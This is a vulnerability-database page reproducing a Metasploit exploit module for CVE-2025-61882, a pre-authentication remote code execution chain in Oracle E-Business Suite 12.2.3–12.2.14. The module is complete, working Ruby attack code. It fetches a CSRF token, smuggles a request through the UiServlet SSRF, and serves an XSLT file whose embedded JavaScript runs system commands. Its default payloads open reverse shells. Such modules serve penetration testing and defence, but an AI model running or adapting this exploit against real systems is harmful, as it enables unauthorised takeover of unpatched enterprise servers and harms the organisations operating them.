Lucene search
K

Oracle E-Business Suite CVE-2025-61882 RCE

🗓️ 22 Jan 2026 18:57:15Reported by watchTowr (Sonny, Sina Kheirkhah, Jake Knott), Mathieu DupasType 
metasploit
 metasploit
🔗 www.rapid7.com👁 352 Views

Oracle E-Business Suite RCE exploit via SSRF and XSLT injection; targets 12.2.3–12.2.14; interactive shell.

Related
Code
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Retry

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Oracle E-Business Suite CVE-2025-61882 RCE',
        'Description' => %q{
          This module exploits CVE-2025-61882 in Oracle E-Business Suite
          by combining SSRF, Path Traversal, HTTP request smuggling and XSLT injection.

          The exploit hosts a malicious XSL file
          that the target will fetch and process, leading to RCE.

          This module provides an interactive shell session.
          Vulnerable versions affected are 12.2.3-12.2.14.
        },
        'Author' => [
          'watchTowr (Sonny, Sina Kheirkhah, Jake Knott)', # Original Python POC and blog Article
          'Mathieu Dupas' # Metasploit module development
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-61882'],
          [
            'URL',
            'https://labs.watchtowr.com/well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882/'
          ],
          ['URL', 'https://www.oracle.com/security-alerts/alert-cve-2025-61882.html']
        ],
        'Targets' => [
          [
            'Linux/Unix (Interactive Shell)',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
                # Simple payload but feel free to use meterpreter ones if needed
              }
            }
          ],
          [
            'Windows (Interactive Shell)',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/reverse_powershell'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2025-10-04',
        'DefaultOptions' => {
          'WfsDelay' => 10
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options([
      Opt::RPORT(8000),
      OptString.new('TARGETURI', [true, 'Base path to Oracle EBS', '/']),
      OptPort.new('SRVPORT', [true, 'The local port to listen on for XSL callback', 8080]),
      OptInt.new('HTTP_TIMEOUT', [true, 'Time to wait for target to fetch XSL (seconds)', 20]),
      OptInt.new('SHELL_TIMEOUT', [true, 'Time to wait for shell after XSL delivery (seconds)', 30])
    ])
  end

  def check
    vprint_status('Checking if target is vulnerable...')

    return CheckCode::Safe('Oracle E-Business Suite not detected') unless oracle_ebs_detected?

    csrf_token = retrieve_csrf_token
    return CheckCode::Unknown('Failed to retrieve CSRF token') unless csrf_token

    return CheckCode::Appears('The target appears to be vulnerable') if vulnerable_servlet_accessible?(csrf_token)

    CheckCode::Safe('Vulnerable servlet is not accessible')
  end

  # Serve malicious XSLT file
  def on_request_uri(cli, request)
    print_good("Received request: #{request.method} #{request.uri} from #{cli.peerhost}:#{cli.peerport}")

    if request.uri.include?('.xsl')
      print_good("Serving  XSL payload to #{cli.peerhost}...")

      xsl_content = generate_xsl_payload

      send_response(cli, xsl_content, {
        'Content-Type' => 'application/xml',
        'Content-Length' => xsl_content.length.to_s,
        'Connection' => 'close'
      })

      # Mark XSL file as served
      @xsl_served = true
      print_good("XSL payload delivered successfully to #{cli.peerhost} (#{xsl_content.length} bytes)")

    else
      print_warning("Unexpected request for #{request.uri}, #{cli.peerhost} sending 404")
      send_not_found(cli)
    end
  end

  def generate_xsl_payload
    command = payload.encoded
    vprint_status("Generated command: #{command}")

    # Adapt the command to the platform
    base_cmd = case target['Platform']
               when 'win'
                 ['cmd.exe', '/c']
               else
                 ['sh', '-c']
               end

    # Escaping apostrophes and backslashes
    escaped_command = command.gsub('\\', '\\\\\\\\').gsub("'", "\\\\'")

    js_vars = Rex::RandomIdentifier::Generator.new({ language: :javascript })
    # JavaScript code that will be executed server side via XSLT
    js = %|
    var #{js_vars[:string_c]} = java.lang.Class.forName('java.lang.String');
    var #{js_vars[:cmds]} = java.lang.reflect.Array.newInstance(#{js_vars[:string_c]}, 3);
    java.lang.reflect.Array.set(#{js_vars[:cmds]}, 0, '#{base_cmd[0]}');
    java.lang.reflect.Array.set(#{js_vars[:cmds]}, 1, '#{base_cmd[1]}');
    java.lang.reflect.Array.set(#{js_vars[:cmds]}, 2, '#{escaped_command}');
    var #{js_vars[:run_time]} = java.lang.Runtime.getRuntime();
    var #{js_vars[:proc]} = #{js_vars[:run_time]}.exec(#{js_vars[:cmds]});
    1
    |

    # Encode in base64 to avoid problems with XML parsing
    encoded_js = Rex::Text.encode_base64(js)

    # Generate XSLT
    %|<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:b64="http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder"
    xmlns:jsm="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager"
    xmlns:eng="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine"
    xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String">
    <xsl:template match="/">
        <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'#{encoded_js}')"/>
        <xsl:variable name="js" select="str:new($bs)"/>
        <xsl:variable name="m" select="jsm:new()"/>
        <xsl:variable name="e" select="jsm:getEngineByName($m, 'js')"/>
        <xsl:variable name="code" select="eng:eval($e, $js)"/>
        <xsl:value-of select="$code"/>
    </xsl:template>
</xsl:stylesheet>|
  end

  def exploit
    @xsl_served = false
    @session_created = false

    # Step 1 : Start HTTP server for XSL file serving
    print_status("Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/...")
    start_service(
      'Uri' => {
        'Proc' => proc { |cli, request| on_request_uri(cli, request) },
        'Path' => '/'
      }
    )

    # construct server URL
    server_url = get_uri
    xsl_url = "#{server_url}#{Rex::Text.rand_text_alpha(8)}.xsl"
    print_status("XSL payload will be served at: #{xsl_url}")

    # Step 2: Get CSRF token
    print_status('Retrieving CSRF token from target...')
    csrf_token = retrieve_csrf_token

    fail_with(Failure::Unknown, 'Could not retrieve CSRF token') unless csrf_token

    print_good("CSRF token retrieved: #{csrf_token}")

    # Step 3: Smuggle payload
    print_status('Creating HTTP request smuggling payload...')
    smuggle_payload = create_smuggle_payload

    vprint_status("Smuggled payload created (#{smuggle_payload.length} bytes)")

    # Step 4: Send exploit request
    print_status('Triggering exploitation via UiServlet...')
    send_exploit_request(smuggle_payload)

    # Step 5: Wait for XSLT file download
    print_status("Keeping HTTP server alive, waiting for callback to #{datastore['LHOST']}:#{datastore['LPORT']}...")

    begin
      # Wait for XSL request
      retry_until_truthy(timeout: datastore['HTTP_TIMEOUT']) do
        @xsl_served
      end

      # Wait for shell connection
      print_status("Waiting up to #{datastore['SHELL_TIMEOUT']} seconds for reverse shell connection...")
      retry_until_truthy(timeout: datastore['SHELL_TIMEOUT']) do
        session_created?
      end

      print_good('Session created successfully!')
      @session_created = true
    rescue ::Timeout::Error
      if !@xsl_served
        print_error("XSL request timeout (#{datastore['HTTP_TIMEOUT']}s) expired")
      else
        print_error("Shell timeout (#{datastore['SHELL_TIMEOUT']}s) expired")
      end
    end
  end

  def retrieve_csrf_token
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'runforms.jsp'),
      'keep_cookies' => true
    })

    return nil unless res

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'JavaScriptServlet'),
      'headers' => {
        'CSRF-XHR' => 'YES',
        'FETCH-CSRF-TOKEN' => '1'
      },
      'keep_cookies' => true
    })

    if res && res.code == 200 && res.body
      parts = res.body.split(':')
      return parts[1].strip if parts.length >= 2
    end

    nil
  rescue ::Rex::ConnectionError, ::Timeout::Error => e
    vprint_error("Connection failed: #{e.class}")
    nil
  end

  def create_smuggle_payload
    netloc = Rex::Socket.to_authority(srvhost_addr, srvport)

    smuggle_request = "POST /OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2\r\n"
    smuggle_request += "Host: #{netloc}\r\n"
    smuggle_request += "User-Agent: #{Rex::Text.rand_text_alpha(10)}\r\n"
    smuggle_request += "Connection: keep-alive\r\n"

    # Add sessions cookies
    cookies = get_cookies
    smuggle_request += "Cookie: #{cookies}\r\n" if cookies && !cookies.empty?

    # Add POST request via CRLF
    smuggle_request += "\r\n\r\n\r\nPOST /"

    vprint_status("Smuggled request will target: #{netloc}")
    vprint_status('Full smuggled request:')
    vprint_line(smuggle_request) if datastore['VERBOSE']

    # Encode payload in HTML entities
    cook_smuggle_stub(smuggle_request)
  end

  def cook_smuggle_stub(payload)
    payload = payload.sub(/^(?:POST|GET) /, '')

    # Encode in HTML entities
    Rex::Text.html_encode(payload)
  end

  def send_exploit_request(encoded_payload)
    # Encoded payload is inserted in return_url (SSRF)

    xml = %(<?xml version="1.0" encoding="UTF-8"?>\
    <initialize>\
    <param name="init_was_saved">test</param>\
    <param name="return_url">http://apps.example.com:7201#{encoded_payload}</param>\
    <param name="ui_def_id">0</param>\
    <param name="config_effective_usage_id">0</param>\
    <param name="ui_type">Applet</param>\
    </initialize>)

    vprint_status('Sending exploit to UiServlet...')

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'configurator', 'UiServlet'),
      'vars_post' => {
        'redirectFromJsp' => '1',
        'getUiType' => xml
      },
      'keep_cookies' => true
    })

    if res
      vprint_status("UiServlet responded with: #{res.code}")
      vprint_status("Response body length: #{res.body.length} bytes") if res.body
    else
      print_warning('No response from UiServlet (this might be normal)')
    end

    res
  end

  def get_cookies
    cookies = []
    cookie_jar.cookies.each do |cookie|
      cookies << "#{cookie.name}=#{cookie.value}"
    end
    cookies.join('; ')
  end

  def oracle_ebs_detected?
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'runforms.jsp')
    })

    res && (res.headers['Server']&.include?('Oracle') ||
            res.body&.include?('Oracle')) # maybe to adapt for different versions. Fully Tested on version 12.2.12
  rescue StandardError
    false
  end

  def vulnerable_servlet_accessible?(_csrf_token)
    test_xml = '<?xml version="1.0" encoding="UTF-8"?>' \
               '<initialize>' \
               '<param name="init_was_saved">test</param>' \
               '<param name="return_url">http://example.com/test</param>' \
               '<param name="ui_def_id">0</param>' \
               '<param name="config_effective_usage_id">0</param>' \
               '<param name="ui_type">Applet</param>' \
               '</initialize>'

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'configurator', 'UiServlet'),
      'vars_post' => {
        'redirectFromJsp' => '1',
        'getUiType' => test_xml
      },
      'keep_cookies' => true
    })

    res && [200, 302].include?(res.code)
  rescue StandardError
    false
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Jul 2026 19:05Current
7.7High risk
Vulners AI Score7.7
CVSS 3.19.8
EPSS0.99722
SSVC
352